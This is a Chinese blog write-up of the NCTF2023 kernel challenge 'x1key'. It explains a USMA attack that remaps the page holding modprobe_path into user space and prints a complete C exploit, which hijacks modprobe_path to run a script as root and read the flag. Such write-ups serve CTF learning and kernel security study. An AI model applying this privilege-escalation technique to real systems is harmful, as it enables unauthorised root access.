【dir+USMA】NCTF2023 - x1key

漏洞分析

保护:smap、smep、pti、kaslr

漏洞在 x1key_ioctl 函数中:

测试发现题目是 slab 分配器,并且没开 SLAB_FREELIST_RANDOM

漏洞利用

USMA 劫持 modprobe_path

0x20大小的堆块,发现并没有便于利用的结构体,但是因为没开 SLAB_FREELIST_RANDOM,所以堆块的分配可预测。

而我们知道堆块是在直接映射区分配的,而直接映射区映射了所有的物理内存,自然也映射了 modprobe_path 所在页:

并且测试发现其低20位不变为0x2a0c0,并且0x80后内存不可访问,所以这里就只有0x80种情况

我们可以利用 USMA 将 modprobe_path 的 dir page 映射到用户空间进行修改。

exp 如下:

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/shm.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <linux/if_packet.h>


void err_exit(char* msg)
{
        printf("[X] Error at %s\n", msg);
        exit(-1);
}

void unshare_setup(void)
{
    char edit[0x100];
    int tmp_fd;

    if(unshare(CLONE_NEWNS | CLONE_NEWUSER | CLONE_NEWNET))
        err_exit("FAILED to create a new namespace");

    tmp_fd = open("/proc/self/setgroups", O_WRONLY);
    write(tmp_fd, "deny", strlen("deny"));
    close(tmp_fd);

    tmp_fd = open("/proc/self/uid_map", O_WRONLY);
    snprintf(edit, sizeof(edit), "0 %d 1", getuid());
    write(tmp_fd, edit, strlen(edit));
    close(tmp_fd);

    tmp_fd = open("/proc/self/gid_map", O_WRONLY);
    snprintf(edit, sizeof(edit), "0 %d 1", getgid());
    write(tmp_fd, edit, strlen(edit));
    close(tmp_fd);
}

#ifndef ETH_P_ALL
#define ETH_P_ALL 0x0003
#endif

void packet_socket_rx_ring_init(int s, unsigned int block_size,
                                unsigned int frame_size, unsigned int block_nr,
                                unsigned int sizeof_priv, unsigned int timeout) {
    int v = TPACKET_V3;
    int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v));
    if (rv < 0) puts("setsockopt(PACKET_VERSION)"), exit(-1);

    struct tpacket_req3 req;
    memset(&req, 0, sizeof(req));
    req.tp_block_size = block_size;
    req.tp_frame_size = frame_size;
    req.tp_block_nr = block_nr;
    req.tp_frame_nr = (block_size * block_nr) / frame_size;
    req.tp_retire_blk_tov = timeout;
    req.tp_sizeof_priv = sizeof_priv;
    req.tp_feature_req_word = 0;

    rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req));
    if (rv < 0) puts("setsockopt(PACKET_RX_RING)"), exit(-1);
}

int packet_socket_setup(unsigned int block_size, unsigned int frame_size,
                        unsigned int block_nr, unsigned int sizeof_priv, int timeout) {
    int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
    if (s < 0) puts("socket(AF_PACKET)"), exit(-1);

    packet_socket_rx_ring_init(s, block_size, frame_size, block_nr, sizeof_priv, timeout);

    struct sockaddr_ll sa;
    memset(&sa, 0, sizeof(sa));
    sa.sll_family = PF_PACKET;
    sa.sll_protocol = htons(ETH_P_ALL);
    sa.sll_ifindex = if_nametoindex("lo");
    sa.sll_hatype = 0;
    sa.sll_pkttype = 0;
    sa.sll_halen = 0;

    int rv = bind(s, (struct sockaddr *)&sa, sizeof(sa));
    if (rv < 0) puts("bind(AF_PACKET)"), exit(-1);

    return s;
}
// count 为 pg_vec 数组的大小, 即 pg_vec 的大小为 count*8
// size/4096 为要分配的 order
int pagealloc_pad(int count, int size) {
    return packet_socket_setup(size, 2048, count, 0, 100);
}

typedef struct request {
        unsigned int idx;
        unsigned int content;
}request;

int fd;
void add()
{
        request req = { 0 };
        ioctl(fd, 0x101, &req);
}

void edit(unsigned int idx, unsigned int content)
{
        request req = { .idx = idx, .content = content };
        ioctl(fd, 0x102, &req);
}

void get_flag(){
        system("echo -ne '#!/bin/sh\n/bin/chmod 777 /flag' > /tmp/x"); // modeprobe_path 修改为了 /tmp/x
        system("chmod +x /tmp/x");
        system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy"); // 非法格式的二进制文件
        system("chmod +x /tmp/dummy");
        system("/tmp/dummy"); // 执行非法格式的二进制文件 ==> 执行 modeprobe_path 指向的文件 /tmp/x
        sleep(0.3);
        system("cat /flag");
        exit(0);
}

int main(int argc, char** argv, char** env)
{

        unshare_setup();
        fd = open("/dev/x1key", O_RDONLY);

        int shm_fd = shmget(IPC_PRIVATE, 0x1000, IPC_CREAT|0666);
        char* shm_ptr = shmat(shm_fd, NULL, SHM_RDONLY);

        add();

        shmdt(shm_ptr);

        int nr = 0x20 / 8;
        int packet_fd = pagealloc_pad(nr, 0x1000);

        char *page = NULL, *modprobe_path = NULL;
        for (int i = 0; i < 0x80; i++)
        {
                edit(0, (i<<20)|0x2a000);
                page = mmap(NULL, 0x1000*nr, PROT_READ|PROT_WRITE, MAP_SHARED, packet_fd, 0);
                if (page == -1) continue;
                modprobe_path = page + 0x1000*(nr-1) + 0xc0;
                if (!strcmp(modprobe_path, "/sbin/modprobe")) break;
                munmap(page, 0x1000*nr);
        }

        strcpy(modprobe_path, "/tmp/x");
        munmap(page, 0x1000*nr);
        get_flag();
        puts("[+] EXP NEVER END");
        return 0;
}

效果如下:

  • 7
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值